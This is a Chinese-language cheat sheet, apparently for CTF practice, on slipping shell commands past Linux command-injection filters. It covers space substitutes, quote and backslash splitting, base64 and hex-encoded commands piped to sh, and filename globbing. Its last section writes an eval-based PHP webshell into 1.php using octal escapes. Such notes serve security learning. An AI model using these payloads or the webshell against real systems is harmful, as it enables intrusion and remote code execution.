大部分题目环境都是在Linux下,所以本文所有绕过和利用也都是建立在Linux下的。

常用连接符

&       将任务置于后台执行
;       单行语句用;区分命令
|(管道符)  上条命令的输出作为下一条命令的参数 //echo '1.txt' | wc 
&&      左边为真,右边才能执行
||      左边为假,右边才能执行

bypass

空格被过滤

$IFS$1      本地尝试成功
$IFS$9      本地尝试成功
${IFS}      本地尝试成功

IFS     本地尝试失败
{IFS}       本地尝试失败
$IFS        本地尝试失败

<
<>
{cat,flag.txt}  需要+{},里面,分隔
%09,%20 一般类似ping都可以解析为空格

关键指令被过滤

  • 字符串拼接
a=at;b=c;$b$a flag.txt

图片.png

  • 利用环境变量得截断(新姿势)

图片.png

拼接 ${PATH:5:1}(l)和 ${PATH:2:1}(s)

图片.png

  • 一些零零碎碎的绕过
wh\o\ami    //反斜线绕过
who""ami    //双引号绕过
whoa'"mi    //单引号绕过
whoam``i    //反引号绕过
echo d2hvYW1p|base64 -d|sh  //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码

图片.png

文件名被过滤

上述指令的绕过都可以适当修改用作文件名的绕过,但下面的内容只适用于文件名

cat fl[abc]g.txt        //匹配[abc]中的任何一个
cat f[a-z]ag.txt        //匹配a-z范围的任何字符
cat fla*                //用*匹配任意
cat fla?.???            //用?匹配需要知道长度
cat `ls`                //内联执行

先暂时写这么多..以后碰上了再补,师傅们如果有新姿势的话也欢迎补充~

补充姿势

bash下,printf配合8进制实现绕过
ls对应oct:\154\163

 $(printf "\154\163")

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
最后修改:2020 年 12 月 23 日 09 : 50 AM